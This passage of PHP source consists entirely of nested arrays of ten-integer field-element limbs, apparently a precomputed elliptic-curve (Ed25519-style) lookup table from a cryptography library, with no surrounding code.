                array(-26531820, -3695990, -1908898, 2534301, -31870557, -16550355, 18341390, -11419951, 32013174, -10103539),
                array(-25479301, 10876443, -11771086, -14625140, -12369567, 1838104, 21911214, 6354752, 4425632, -837822),
            ),
            array(
                array(-10433389, -14612966, 22229858, -3091047, -13191166, 776729, -17415375, -12020462, 4725005, 14044970),
                array(19268650, -7304421, 1555349, 8692754, -21474059, -9910664, 6347390, -1411784, -19522291, -16109756),
                array(-24864089, 12986008, -10898878, -5558584, -11312371, -148526, 19541418, 8180106, 9282262, 10282508),
            ),
            array(
                array(-26205082, 4428547, -8661196, -13194263, 4098402, -14165257, 15522535, 8372215, 5542595, -10702683),
                array(-10562541, 14895633, 26814552, -16673850, -17480754, -2489360, -2781891, 6993761, -18093885, 10114655),
                array(-20107055, -929418, 31422704, 10427861, -7110749, 6150669, -29091755, -11529146, 25953725, -106158),
            ),
            array(
                array(-4234397, -8039292, -9119125, 3046000, 2101609, -12607294, 19390020, 6094296, -3315279, 12831125),
                array(-15998678, 7578152, 5310217, 14408357, -33548620, -224739, 31575954, 6326196, 7381791, -2421839),
                array(-20902779, 3296811, 24736065, -16328389, 18374254, 7318640, 6295303, 8082724, -15362489, 12339664),
            ),
            array(
                array(27724736, 2291157, 6088201, -14184798, 1792727, 5857634, 13848414, 15768922, 25091167, 14856294),
                array(-18866652, 8331043, 24373479, 8541013, -701998, -9269457, 12927300, -12695493, -22182473, -9012899),
                array(-11423429, -5421590, 11632845, 3405020, 30536730, -11674039, -27260765, 13866390, 30146206, 9142070),
            ),
            array(
                array(3924129, -15307516, -13817122, -10054960, 12291820, -668366, -27702774, 9326384, -8237858, 4171294),
                array(-15921940, 16037937, 6713787, 16606682, -21612135, 2790944, 26396185, 3731949, 345228, -5462949),
                array(-21327538, 13448259, 25284571, 1143661, 20614966, -8849387, 2031539, -12391231, -16253183, -13582083),
            ),
            array(
                array(31016211, -16722429, 26371392, -14451233, -5027349, 14854137, 17477601, 3842657, 28012650, -16405420),
                array(-5075835, 9368966, -8562079, -4600902, -15249953, 6970560, -9189873, 16292057, -8867157, 3507940),
                array(29439664, 3537914, 23333589, 6997794, -17555561, -11018068, -15209202, -15051267, -9164929, 6580396),
            ),
        ),
        array(
            array(
                array(-12185861, -7679788, 16438269, 10826160, -8696817, -6235611, 17860444, -9273846, -2095802, 9304567),
                array(20714564, -4336911, 29088195, 7406487, 11426967, -5095705, 14792667, -14608617, 5289421, -477127),
                array(-16665533, -10650790, -6160345, -13305760, 9192020, -1802462, 17271490, 12349094, 26939669, -3752294),
            ),
            array(
                array(-12889898, 9373458, 31595848, 16374215, 21471720, 13221525, -27283495, -12348559, -3698806, 117887),
                array(22263325, -6560050, 3984570, -11174646, -15114008, -566785, 28311253, 5358056, -23319780, 541964),
                array(16259219, 3261970, 2309254, -15534474, -16885711, -4581916, 24134070, -16705829, -13337066, -13552195),
            ),
            array(
                array(9378160, -13140186, -22845982, -12745264, 28198281, -7244098, -2399684, -717351, 690426, 14876244),
                array(24977353, -314384, -8223969, -13465086, 28432343, -1176353, -13068804, -12297348, -22380984, 6618999),
                array(-1538174, 11685646, 12944378, 13682314, -24389511, -14413193, 8044829, -13817328, 32239829, -5652762),
            ),
            array(
                array(-18603066, 4762990, -926250, 8885304, -28412480, -3187315, 9781647, -10350059, 32779359, 5095274),
                array(-33008130, -5214506, -32264887, -3685216, 9460461, -9327423, -24601656, 14506724, 21639561, -2630236),
                array(-16400943, -13112215, 25239338, 15531969, 3987758, -4499318, -1289502, -6863535, 17874574, 558605),
            ),
            array(
                array(-13600129, 10240081, 9171883, 16131053, -20869254, 9599700, 33499487, 5080151, 2085892, 5119761),
                array(-22205145, -2519528, -16381601, 414691, -25019550, 2170430, 30634760, -8363614, -31999993, -5759884),
                array(-6845704, 15791202, 8550074, -1312654, 29928809, -12092256, 27534430, -7192145, -22351378, 12961482),
            ),
            array(
                array(-24492060, -9570771, 10368194, 11582341, -23397293, -2245287, 16533930, 8206996, -30194652, -5159638),
                array(-11121496, -3382234, 2307366, 6362031, -135455, 8868177, -16835630, 7031275, 7589640, 8945490),
                array(-32152748, 8917967, 6661220, -11677616, -1192060, -15793393, 7251489, -11182180, 24099109, -14456170),
            ),
            array(
                array(5019558, -7907470, 4244127, -14714356, -26933272, 6453165, -19118182, -13289025, -6231896, -10280736),
                array(10853594, 10721687, 26480089, 5861829, -22995819, 1972175, -1866647, -10557898, -3363451, -6441124),
                array(-17002408, 5906790, 221599, -6563147, 7828208, -13248918, 24362661, -2008168, -13866408, 7421392),
            ),
            array(
                array(8139927, -6546497, 32257646, -5890546, 30375719, 1886181, -21175108, 15441252, 28826358, -4123029),
                array(6267086, 9695052, 7709135, -16603597, -32869068, -1886135, 14795160, -7840124, 13746021, -1742048),
                array(28584902, 7787108, -6732942, -15050729, 22846041, -7571236, -3181936, -363524, 4771362, -8419958),
            ),
        ),
        array(
            array(
                array(24949256, 6376279, -27466481, -8174608, -18646154, -9930606, 33543569, -12141695, 3569627, 11342593),
                array(26514989, 4740088, 27912651, 3697550, 19331575, -11472339, 6809886, 4608608, 7325975, -14801071),
                array(-11618399, -14554430, -24321212, 7655128, -1369274, 5214312, -27400540, 10258390, -17646694, -8186692),
            ),
            array(
                array(11431204, 15823007, 26570245, 14329124, 18029990, 4796082, -31446179, 15580664, 9280358, -3973687),
                array(-160783, -10326257, -22855316, -4304997, -20861367, -13621002, -32810901, -11181622, -15545091, 4387441),
                array(-20799378, 12194512, 3937617, -5805892, -27154820, 9340370, -24513992, 8548137, 20617071, -7482001),
            ),
            array(
                array(-938825, -3930586, -8714311, 16124718, 24603125, -6225393, -13775352, -11875822, 24345683, 10325460),
                array(-19855277, -1568885, -22202708, 8714034, 14007766, 6928528, 16318175, -1010689, 4766743, 3552007),
                array(-21751364, -16730916, 1351763, -803421, -4009670, 3950935, 3217514, 14481909, 10988822, -3994762),
            ),
            array(
                array(15564307, -14311570, 3101243, 5684148, 30446780, -8051356, 12677127, -6505343, -8295852, 13296005),
                array(-9442290, 6624296, -30298964, -11913677, -4670981, -2057379, 31521204, 9614054, -30000824, 12074674),
                array(4771191, -135239, 14290749, -13089852, 27992298, 14998318, -1413936, -1556716, 29832613, -16391035),
            ),
            array(
                array(7064884, -7541174, -19161962, -5067537, -18891269, -2912736, 25825242, 5293297, -27122660, 13101590),
                array(-2298563, 2439670, -7466610, 1719965, -27267541, -16328445, 32512469, -5317593, -30356070, -4190957),
                array(-30006540, 10162316, -33180176, 3981723, -16482138, -13070044, 14413974, 9515896, 19568978, 9628812),
            ),
            array(
                array(33053803, 199357, 15894591, 1583059, 27380243, -4580435, -17838894, -6106839, -6291786, 3437740),
                array(-18978877, 3884493, 19469877, 12726490, 15913552, 13614290, -22961733, 70104, 7463304, 4176122),
                array(-27124001, 10659917, 11482427, -16070381, 12771467, -6635117, -32719404, -5322751, 24216882, 5944158),
            ),
            array(
                array(8894125, 7450974, -2664149, -9765752, -28080517, -12389115, 19345746, 14680796, 11632993, 5847885),
                array(26942781, -2315317, 9129564, -4906607, 26024105, 11769399, -11518837, 6367194, -9727230, 4782140),
                array(19916461, -4828410, -22910704, -11414391, 25606324, -5972441, 33253853, 8220911, 6358847, -1873857),
            ),
            array(
                array(801428, -2081702, 16569428, 11065167, 29875704, 96627, 7908388, -4480480, -13538503, 1387155),
                array(19646058, 5720633, -11416706, 12814209, 11607948, 12749789, 14147075, 15156355, -21866831, 11835260),
                array(19299512, 1155910, 28703737, 14890794, 2925026, 7269399, 26121523, 15467869, -26560550, 5052483),
            ),
        ),
        array(
            array(
                array(-3017432, 10058206, 1980837, 3964243, 22160966, 12322533, -6431123, -12618185, 12228557, -7003677),
                array(32944382, 14922211, -22844894, 5188528, 21913450, -8719943, 4001465, 13238564, -6114803, 8653815),
                array(22865569, -4652735, 27603668, -12545395, 14348958, 8234005, 24808405, 5719875, 28483275, 2841751),
            ),
            array(
                array(-16420968, -1113305, -327719, -12107856, 21886282, -15552774, -1887966, -315658, 19932058, -12739203),
                array(-11656086, 10087521, -8864888, -5536143, -19278573, -3055912, 3999228, 13239134, -4777469, -13910208),
                array(1382174, -11694719, 17266790, 9194690, -13324356, 9720081, 20403944, 11284705, -14013818, 3093230),
            ),
            array(
                array(16650921, -11037932, -1064178, 1570629, -8329746, 7352753, -302424, 16271225, -24049421, -6691850),
                array(-21911077, -5927941, -4611316, -5560156, -31744103, -10785293, 24123614, 15193618, -21652117, -16739389),
                array(-9935934, -4289447, -25279823, 4372842, 2087473, 10399484, 31870908, 14690798, 17361620, 11864968),
            ),
            array(
                array(-11307610, 6210372, 13206574, 5806320, -29017692, -13967200, -12331205, -7486601, -25578460, -16240689),
                array(14668462, -12270235, 26039039, 15305210, 25515617, 4542480, 10453892, 6577524, 9145645, -6443880),
                array(5974874, 3053895, -9433049, -10385191, -31865124, 3225009, -7972642, 3936128, -5652273, -3050304),
            ),
            array(
                array(30625386, -4729400, -25555961, -12792866, -20484575, 7695099, 17097188, -16303496, -27999779, 1803632),
                array(-3553091, 9865099, -5228566, 4272701, -5673832, -16689700, 14911344, 12196514, -21405489, 7047412),
                array(20093277, 9920966, -11138194, -5343857, 13161587, 12044805, -32856851, 4124601, -32343828, -10257566),
            ),
            array(
                array(-20788824, 14084654, -13531713, 7842147, 19119038, -13822605, 4752377, -8714640, -21679658, 2288038),
                array(-26819236, -3283715, 29965059, 3039786, -14473765, 2540457, 29457502, 14625692, -24819617, 12570232),
                array(-1063558, -11551823, 16920318, 12494842, 1278292, -5869109, -21159943, -3498680, -11974704, 4724943),
            ),
            array(
                array(17960970, -11775534, -4140968, -9702530, -8876562, -1410617, -12907383, -8659932, -29576300, 1903856),
                array(23134274, -14279132, -10681997, -1611936, 20684485, 15770816, -12989750, 3190296, 26955097, 14109738),
                array(15308788, 5320727, -30113809, -14318877, 22902008, 7767164, 29425325, -11277562, 31960942, 11934971),
            ),
            array(
                array(-27395711, 8435796, 4109644, 12222639, -24627868, 14818669, 20638173, 4875028, 10491392, 1379718),
                array(-13159415, 9197841, 3875503, -8936108, -1383712, -5879801, 33518459, 16176658, 21432314, 12180697),
                array(-11787308, 11500838, 13787581, -13832590, -22430679, 10140205, 1465425, 12689540, -10301319, -13872883),
            ),
        ),
        array(
            array(
                array(5414091, -15386041, -21007664, 9643570, 12834970, 1186149, -2622916, -1342231, 26128231, 6032912),
                array(-26337395, -13766162, 32496025, -13653919, 17847801, -12669156, 3604025, 8316894, -25875034, -10437358),
                array(3296484, 6223048, 24680646, -12246460, -23052020, 5903205, -8862297, -4639164, 12376617, 3188849),
            ),
            array(
                array(29190488, -14659046, 27549113, -1183516, 3520066, -10697301, 32049515, -7309113, -16109234, -9852307),
                array(-14744486, -9309156, 735818, -598978, -20407687, -5057904, 25246078, -15795669, 18640741, -960977),
                array(-6928835, -16430795, 10361374, 5642961, 4910474, 12345252, -31638386, -494430, 10530747, 1053335),
            ),
            array(
                array(-29265967, -14186805, -13538216, -12117373, -19457059, -10655384, -31462369, -2948985, 24018831, 15026644),
                array(-22592535, -3145277, -2289276, 5953843, -13440189, 9425631, 25310643, 13003497, -2314791, -15145616),
                array(-27419985, -603321, -8043984, -1669117, -26092265, 13987819, -27297622, 187899, -23166419, -2531735),
            ),
            array(
                array(-21744398, -13810475, 1844840, 5021428, -10434399, -15911473, 9716667, 16266922, -5070217, 726099),
                array(29370922, -6053998, 7334071, -15342259, 9385287, 2247707, -13661962, -4839461, 30007388, -15823341),
                array(-936379, 16086691, 23751945, -543318, -1167538, -5189036, 9137109, 730663, 9835848, 4555336),
            ),
            array(
                array(-23376435, 1410446, -22253753, -12899614, 30867635, 15826977, 17693930, 544696, -11985298, 12422646),
                array(31117226, -12215734, -13502838, 6561947, -9876867, -12757670, -5118685, -4096706, 29120153, 13924425),
                array(-17400879, -14233209, 19675799, -2734756, -11006962, -5858820, -9383939, -11317700, 7240931, -237388),
            ),
            array(
                array(-31361739, -11346780, -15007447, -5856218, -22453340, -12152771, 1222336, 4389483, 3293637, -15551743),
                array(-16684801, -14444245, 11038544, 11054958, -13801175, -3338533, -24319580, 7733547, 12796905, -6335822),
                array(-8759414, -10817836, -25418864, 10783769, -30615557, -9746811, -28253339, 3647836, 3222231, -11160462),
            ),
            array(
                array(18606113, 1693100, -25448386, -15170272, 4112353, 10045021, 23603893, -2048234, -7550776, 2484985),
                array(9255317, -3131197, -12156162, -1004256, 13098013, -9214866, 16377220, -2102812, -19802075, -3034702),
                array(-22729289, 7496160, -5742199, 11329249, 19991973, -3347502, -31718148, 9936966, -30097688, -10618797),
            ),
            array(
                array(21878590, -5001297, 4338336, 13643897, -3036865, 13160960, 19708896, 5415497, -7360503, -4109293),
                array(27736861, 10103576, 12500508, 8502413, -3413016, -9633558, 10436918, -1550276, -23659143, -8132100),
                array(19492550, -12104365, -29681976, -852630, -3208171, 12403437, 30066266, 8367329, 13243957, 8709688),
            ),
        ),
        array(
            array(
                array(12015105, 2801261, 28198131, 10151021, 24818120, -4743133, -11194191, -5645734, 5150968, 7274186),
                array(2831366, -12492146, 1478975, 6122054, 23825128, -12733586, 31097299, 6083058, 31021603, -9793610),
                array(-2529932, -2229646, 445613, 10720828, -13849527, -11505937, -23507731, 16354465, 15067285, -14147707),
            ),
            array(
                array(7840942, 14037873, -33364863, 15934016, -728213, -3642706, 21403988, 1057586, -19379462, -12403220),
                array(915865, -16469274, 15608285, -8789130, -24357026, 6060030, -17371319, 8410997, -7220461, 16527025),
                array(32922597, -556987, 20336074, -16184568, 10903705, -5384487, 16957574, 52992, 23834301, 6588044),
            ),
            array(
                array(32752030, 11232950, 3381995, -8714866, 22652988, -10744103, 17159699, 16689107, -20314580, -1305992),
                array(-4689649, 9166776, -25710296, -10847306, 11576752, 12733943, 7924251, -2752281, 1976123, -7249027),
                array(21251222, 16309901, -2983015, -6783122, 30810597, 12967303, 156041, -3371252, 12331345, -8237197),
            ),
            array(
                array(8651614, -4477032, -16085636, -4996994, 13002507, 2950805, 29054427, -5106970, 10008136, -4667901),
                array(31486080, 15114593, -14261250, 12951354, 14369431, -7387845, 16347321, -13662089, 8684155, -10532952),
                array(19443825, 11385320, 24468943, -9659068, -23919258, 2187569, -26263207, -6086921, 31316348, 14219878),
            ),
            array(
                array(-28594490, 1193785, 32245219, 11392485, 31092169, 15722801, 27146014, 6992409, 29126555, 9207390),
                array(32382935, 1110093, 18477781, 11028262, -27411763, -7548111, -4980517, 10843782, -7957600, -14435730),
                array(2814918, 7836403, 27519878, -7868156, -20894015, -11553689, -21494559, 8550130, 28346258, 1994730),
            ),
            array(
                array(-19578299, 8085545, -14000519, -3948622, 2785838, -16231307, -19516951, 7174894, 22628102, 8115180),
                array(-30405132, 955511, -11133838, -15078069, -32447087, -13278079, -25651578, 3317160, -9943017, 930272),
                array(-15303681, -6833769, 28856490, 1357446, 23421993, 1057177, 24091212, -1388970, -22765376, -10650715),
            ),
            array(
                array(-22751231, -5303997, -12907607, -12768866, -15811511, -7797053, -14839018, -16554220, -1867018, 8398970),
                array(-31969310, 2106403, -4736360, 1362501, 12813763, 16200670, 22981545, -6291273, 18009408, -15772772),
                array(-17220923, -9545221, -27784654, 14166835, 29815394, 7444469, 29551787, -3727419, 19288549, 1325865),
            ),
            array(
                array(15100157, -15835752, -23923978, -1005098, -26450192, 15509408, 12376730, -3479146, 33166107, -8042750),
                array(20909231, 13023121, -9209752, 16251778, -5778415, -8094914, 12412151, 10018715, 2213263, -13878373),
                array(32529814, -11074689, 30361439, -16689753, -9135940, 1513226, 22922121, 6382134, -5766928, 8371348),
            ),
        ),
        array(
            array(
                array(9923462, 11271500, 12616794, 3544722, -29998368, -1721626, 12891687, -8193132, -26442943, 10486144),
                array(-22597207, -7012665, 8587003, -8257861, 4084309, -12970062, 361726, 2610596, -23921530, -11455195),
                array(5408411, -1136691, -4969122, 10561668, 24145918, 14240566, 31319731, -4235541, 19985175, -3436086),
            ),
            array(
                array(-13994457, 16616821, 14549246, 3341099, 32155958, 13648976, -17577068, 8849297, 65030, 8370684),
                array(-8320926, -12049626, 31204563, 5839400, -20627288, -1057277, -19442942, 6922164, 12743482, -9800518),
                array(-2361371, 12678785, 28815050, 4759974, -23893047, 4884717, 23783145, 11038569, 18800704, 255233),
            ),
            array(
                array(-5269658, -1773886, 13957886, 7990715, 23132995, 728773, 13393847, 9066957, 19258688, -14753793),
                array(-2936654, -10827535, -10432089, 14516793, -3640786, 4372541, -31934921, 2209390, -1524053, 2055794),
                array(580882, 16705327, 5468415, -2683018, -30926419, -14696000, -7203346, -8994389, -30021019, 7394435),
            ),
            array(
                array(23838809, 1822728, -15738443, 15242727, 8318092, -3733104, -21672180, -3492205, -4821741, 14799921),
                array(13345610, 9759151, 3371034, -16137791, 16353039, 8577942, 31129804, 13496856, -9056018, 7402518),
                array(2286874, -4435931, -20042458, -2008336, -13696227, 5038122, 11006906, -15760352, 8205061, 1607563),
            ),
            array(
                array(14414086, -8002132, 3331830, -3208217, 22249151, -5594188, 18364661, -2906958, 30019587, -9029278),
                array(-27688051, 1585953, -10775053, 931069, -29120221, -11002319, -14410829, 12029093, 9944378, 8024),
                array(4368715, -3709630, 29874200, -15022983, -20230386, -11410704, -16114594, -999085, -8142388, 5640030),
            ),
            array(
                array(10299610, 13746483, 11661824, 16234854, 7630238, 5998374, 9809887, -16694564, 15219798, -14327783),
                array(27425505, -5719081, 3055006, 10660664, 23458024, 595578, -15398605, -1173195, -18342183, 9742717),
                array(6744077, 2427284, 26042789, 2720740, -847906, 1118974, 32324614, 7406442, 12420155, 1994844),
            ),
            array(
                array(14012521, -5024720, -18384453, -9578469, -26485342, -3936439, -13033478, -10909803, 24319929, -6446333),
                array(16412690, -4507367, 10772641, 15929391, -17068788, -4658621, 10555945, -10484049, -30102368, -4739048),
                array(22397382, -7767684, -9293161, -12792868, 17166287, -9755136, -27333065, 6199366, 21880021, -12250760),
            ),
            array(
                array(-4283307, 5368523, -31117018, 8163389, -30323063, 3209128, 16557151, 8890729, 8840445, 4957760),
                array(-15447727, 709327, -6919446, -10870178, -29777922, 6522332, -21720181, 12130072, -14796503, 5005757),
                array(-2114751, -14308128, 23019042, 15765735, -25269683, 6002752, 10183197, -13239326, -16395286, -2176112),
            ),
        ),
        array(
            array(
                array(-19025756, 1632005, 13466291, -7995100, -23640451, 16573537, -32013908, -3057104, 22208662, 2000468),
                array(3065073, -1412761, -25598674, -361432, -17683065, -5703415, -8164212, 11248527, -3691214, -7414184),
                array(10379208, -6045554, 8877319, 1473647, -29291284, -12507580, 16690915, 2553332, -3132688, 16400289),
            ),
            array(
                array(15716668, 1254266, -18472690, 7446274, -8448918, 6344164, -22097271, -7285580, 26894937, 9132066),
                array(24158887, 12938817, 11085297, -8177598, -28063478, -4457083, -30576463, 64452, -6817084, -2692882),
                array(13488534, 7794716, 22236231, 5989356, 25426474, -12578208, 2350710, -3418511, -4688006, 2364226),
            ),
            array(
                array(16335052, 9132434, 25640582, 6678888, 1725628, 8517937, -11807024, -11697457, 15445875, -7798101),
                array(29004207, -7867081, 28661402, -640412, -12794003, -7943086, 31863255, -4135540, -278050, -15759279),
                array(-6122061, -14866665, -28614905, 14569919, -10857999, -3591829, 10343412, -6976290, -29828287, -10815811),
            ),
            array(
                array(27081650, 3463984, 14099042, -4517604, 1616303, -6205604, 29542636, 15372179, 17293797, 960709),
                array(20263915, 11434237, -5765435, 11236810, 13505955, -10857102, -16111345, 6493122, -19384511, 7639714),
                array(-2830798, -14839232, 25403038, -8215196, -8317012, -16173699, 18006287, -16043750, 29994677, -15808121),
            ),
            array(
                array(9769828, 5202651, -24157398, -13631392, -28051003, -11561624, -24613141, -13860782, -31184575, 709464),
                array(12286395, 13076066, -21775189, -1176622, -25003198, 4057652, -32018128, -8890874, 16102007, 13205847),
                array(13733362, 5599946, 10557076, 3195751, -5557991, 8536970, -25540170, 8525972, 10151379, 10394400),
            ),
            array(
                array(4024660, -16137551, 22436262, 12276534, -9099015, -2686099, 19698229, 11743039, -33302334, 8934414),
                array(-15879800, -4525240, -8580747, -2934061, 14634845, -698278, -9449077, 3137094, -11536886, 11721158),
                array(17555939, -5013938, 8268606, 2331751, -22738815, 9761013, 9319229, 8835153, -9205489, -1280045),
            ),
            array(
                array(-461409, -7830014, 20614118, 16688288, -7514766, -4807119, 22300304, 505429, 6108462, -6183415),
                array(-5070281, 12367917, -30663534, 3234473, 32617080, -8422642, 29880583, -13483331, -26898490, -7867459),
                array(-31975283, 5726539, 26934134, 10237677, -3173717, -605053, 24199304, 3795095, 7592688, -14992079),
            ),
            array(
                array(21594432, -14964228, 17466408, -4077222, 32537084, 2739898, 6407723, 12018833, -28256052, 4298412),
                array(-20650503, -11961496, -27236275, 570498, 3767144, -1717540, 13891942, -1569194, 13717174, 10805743),
                array(-14676630, -15644296, 15287174, 11927123, 24177847, -8175568, -796431, 14860609, -26938930, -5863836),
            ),
        ),
        array(
            array(
                array(12962541, 5311799, -10060768, 11658280, 18855286, -7954201, 13286263, -12808704, -4381056, 9882022),
                array(18512079, 11319350, -20123124, 15090309, 18818594, 5271736, -22727904, 3666879, -23967430, -3299429),
                array(-6789020, -3146043, 16192429, 13241070, 15898607, -14206114, -10084880, -6661110, -2403099, 5276065),
            ),
            array(
                array(30169808, -5317648, 26306206, -11750859, 27814964, 7069267, 7152851, 3684982, 1449224, 13082861),
                array(10342826, 3098505, 2119311, 193222, 25702612, 12233820, 23697382, 15056736, -21016438, -8202000),
                array(-33150110, 3261608, 22745853, 7948688, 19370557, -15177665, -26171976, 6482814, -10300080, -11060101),
            ),
            array(
                array(32869458, -5408545, 25609743, 15678670, -10687769, -15471071, 26112421, 2521008, -22664288, 6904815),
                array(29506923, 4457497, 3377935, -9796444, -30510046, 12935080, 1561737, 3841096, -29003639, -6657642),
                array(10340844, -6630377, -18656632, -2278430, 12621151, -13339055, 30878497, -11824370, -25584551, 5181966),
            ),
            array(
                array(25940115, -12658025, 17324188, -10307374, -8671468, 15029094, 24396252, -16450922, -2322852, -12388574),
                array(-21765684, 9916823, -1300409, 4079498, -1028346, 11909559, 1782390, 12641087, 20603771, -6561742),
                array(-18882287, -11673380, 24849422, 11501709, 13161720, -4768874, 1925523, 11914390, 4662781, 7820689),
            ),
            array(
                array(12241050, -425982, 8132691, 9393934, 32846760, -1599620, 29749456, 12172924, 16136752, 15264020),
                array(-10349955, -14680563, -8211979, 2330220, -17662549, -14545780, 10658213, 6671822, 19012087, 3772772),
                array(3753511, -3421066, 10617074, 2028709, 14841030, -6721664, 28718732, -15762884, 20527771, 12988982),
            ),
            array(
                array(-14822485, -5797269, -3707987, 12689773, -898983, -10914866, -24183046, -10564943, 3299665, -12424953),
                array(-16777703, -15253301, -9642417, 4978983, 3308785, 8755439, 6943197, 6461331, -25583147, 8991218),
                array(-17226263, 1816362, -1673288, -6086439, 31783888, -8175991, -32948145, 7417950, -30242287, 1507265),
            ),
            array(
                array(29692663, 6829891, -10498800, 4334896, 20945975, -11906496, -28887608, 8209391, 14606362, -10647073),
                array(-3481570, 8707081, 32188102, 5672294, 22096700, 1711240, -33020695, 9761487, 4170404, -2085325),
                array(-11587470, 14855945, -4127778, -1531857, -26649089, 15084046, 22186522, 16002000, -14276837, -8400798),
            ),
            array(
                array(-4811456, 13761029, -31703877, -2483919, -3312471, 7869047, -7113572, -9620092, 13240845, 10965870),
                array(-7742563, -8256762, -14768334, -13656260, -23232383, 12387166, 4498947, 14147411, 29514390, 4302863),
                array(-13413405, -12407859, 20757302, -13801832, 14785143, 8976368, -5061276, -2144373, 17846988, -13971927),
            ),
        ),
        array(
            array(
                array(-2244452, -754728, -4597030, -1066309, -6247172, 1455299, -21647728, -9214789, -5222701, 12650267),
                array(-9906797, -16070310, 21134160, 12198166, -27064575, 708126, 387813, 13770293, -19134326, 10958663),
                array(22470984, 12369526, 23446014, -5441109, -21520802, -9698723, -11772496, -11574455, -25083830, 4271862),
            ),
            array(
                array(-25169565, -10053642, -19909332, 15361595, -5984358, 2159192, 75375, -4278529, -32526221, 8469673),
                array(15854970, 4148314, -8893890, 7259002, 11666551, 13824734, -30531198, 2697372, 24154791, -9460943),
                array(15446137, -15806644, 29759747, 14019369, 30811221, -9610191, -31582008, 12840104, 24913809, 9815020),
            ),
            array(
                array(-4709286, -5614269, -31841498, -12288893, -14443537, 10799414, -9103676, 13438769, 18735128, 9466238),
                array(11933045, 9281483, 5081055, -5183824, -2628162, -4905629, -7727821, -10896103, -22728655, 16199064),
                array(14576810, 379472, -26786533, -8317236, -29426508, -10812974, -102766, 1876699, 30801119, 2164795),
            ),
            array(
                array(15995086, 3199873, 13672555, 13712240, -19378835, -4647646, -13081610, -15496269, -13492807, 1268052),
                array(-10290614, -3659039, -3286592, 10948818, 23037027, 3794475, -3470338, -12600221, -17055369, 3565904),
                array(29210088, -9419337, -5919792, -4952785, 10834811, -13327726, -16512102, -10820713, -27162222, -14030531),
            ),
            array(
                array(-13161890, 15508588, 16663704, -8156150, -28349942, 9019123, -29183421, -3769423, 2244111, -14001979),
                array(-5152875, -3800936, -9306475, -6071583, 16243069, 14684434, -25673088, -16180800, 13491506, 4641841),
                array(10813417, 643330, -19188515, -728916, 30292062, -16600078, 27548447, -7721242, 14476989, -12767431),
            ),
            array(
                array(10292079, 9984945, 6481436, 8279905, -7251514, 7032743, 27282937, -1644259, -27912810, 12651324),
                array(-31185513, -813383, 22271204, 11835308, 10201545, 15351028, 17099662, 3988035, 21721536, -3148940),
                array(10202177, -6545839, -31373232, -9574638, -32150642, -8119683, -12906320, 3852694, 13216206, 14842320),
            ),
            array(
                array(-15815640, -10601066, -6538952, -7258995, -6984659, -6581778, -31500847, 13765824, -27434397, 9900184),
                array(14465505, -13833331, -32133984, -14738873, -27443187, 12990492, 33046193, 15796406, -7051866, -8040114),
                array(30924417, -8279620, 6359016, -12816335, 16508377, 9071735, -25488601, 15413635, 9524356, -7018878),
            ),
            array(
                array(12274201, -13175547, 32627641, -1785326, 6736625, 13267305, 5237659, -5109483, 15663516, 4035784),
                array(-2951309, 8903985, 17349946, 601635, -16432815, -4612556, -13732739, -15889334, -22258478, 4659091),
                array(-16916263, -4952973, -30393711, -15158821, 20774812, 15897498, 5736189, 15026997, -2178256, -13455585),
            ),
        ),
        array(
            array(
                array(-8858980, -2219056, 28571666, -10155518, -474467, -10105698, -3801496, 278095, 23440562, -290208),
                array(10226241, -5928702, 15139956, 120818, -14867693, 5218603, 32937275, 11551483, -16571960, -7442864),
                array(17932739, -12437276, -24039557, 10749060, 11316803, 7535897, 22503767, 5561594, -3646624, 3898661),
            ),
            array(
                array(7749907, -969567, -16339731, -16464, -25018111, 15122143, -1573531, 7152530, 21831162, 1245233),
                array(26958459, -14658026, 4314586, 8346991, -5677764, 11960072, -32589295, -620035, -30402091, -16716212),
                array(-12165896, 9166947, 33491384, 13673479, 29787085, 13096535, 6280834, 14587357, -22338025, 13987525),
            ),
            array(
                array(-24349909, 7778775, 21116000, 15572597, -4833266, -5357778, -4300898, -5124639, -7469781, -2858068),
                array(9681908, -6737123, -31951644, 13591838, -6883821, 386950, 31622781, 6439245, -14581012, 4091397),
                array(-8426427, 1470727, -28109679, -1596990, 3978627, -5123623, -19622683, 12092163, 29077877, -14741988),
            ),
            array(
                array(5269168, -6859726, -13230211, -8020715, 25932563, 1763552, -5606110, -5505881, -20017847, 2357889),
                array(32264008, -15407652, -5387735, -1160093, -2091322, -3946900, 23104804, -12869908, 5727338, 189038),
                array(14609123, -8954470, -6000566, -16622781, -14577387, -7743898, -26745169, 10942115, -25888931, -14884697),
            ),
            array(
                array(20513500, 5557931, -15604613, 7829531, 26413943, -2019404, -21378968, 7471781, 13913677, -5137875),
                array(-25574376, 11967826, 29233242, 12948236, -6754465, 4713227, -8940970, 14059180, 12878652, 8511905),
                array(-25656801, 3393631, -2955415, -7075526, -2250709, 9366908, -30223418, 6812974, 5568676, -3127656),
            ),
            array(
                array(11630004, 12144454, 2116339, 13606037, 27378885, 15676917, -17408753, -13504373, -14395196, 8070818),
                array(27117696, -10007378, -31282771, -5570088, 1127282, 12772488, -29845906, 10483306, -11552749, -1028714),
                array(10637467, -5688064, 5674781, 1072708, -26343588, -6982302, -1683975, 9177853, -27493162, 15431203),
            ),
            array(
                array(20525145, 10892566, -12742472, 12779443, -29493034, 16150075, -28240519, 14943142, -15056790, -7935931),
                array(-30024462, 5626926, -551567, -9981087, 753598, 11981191, 25244767, -3239766, -3356550, 9594024),
                array(-23752644, 2636870, -5163910, -10103818, 585134, 7877383, 11345683, -6492290, 13352335, -10977084),
            ),
            array(
                array(-1931799, -5407458, 3304649, -12884869, 17015806, -4877091, -29783850, -7752482, -13215537, -319204),
                array(20239939, 6607058, 6203985, 3483793, -18386976, -779229, -20723742, 15077870, -22750759, 14523817),
                array(27406042, -6041657, 27423596, -4497394, 4996214, 10002360, -28842031, -4545494, -30172742, -4805667),
            ),
        ),
        array(
            array(
                array(11374242, 12660715, 17861383, -12540833, 10935568, 1099227, -13886076, -9091740, -27727044, 11358504),
                array(-12730809, 10311867, 1510375, 10778093, -2119455, -9145702, 32676003, 11149336, -26123651, 4985768),
                array(-19096303, 341147, -6197485, -239033, 15756973, -8796662, -983043, 13794114, -19414307, -15621255),
            ),
            array(
                array(6490081, 11940286, 25495923, -7726360, 8668373, -8751316, 3367603, 6970005, -1691065, -9004790),
                array(1656497, 13457317, 15370807, 6364910, 13605745, 8362338, -19174622, -5475723, -16796596, -5031438),
                array(-22273315, -13524424, -64685, -4334223, -18605636, -10921968, -20571065, -7007978, -99853, -10237333),
            ),
            array(
                array(17747465, 10039260, 19368299, -4050591, -20630635, -16041286, 31992683, -15857976, -29260363, -5511971),
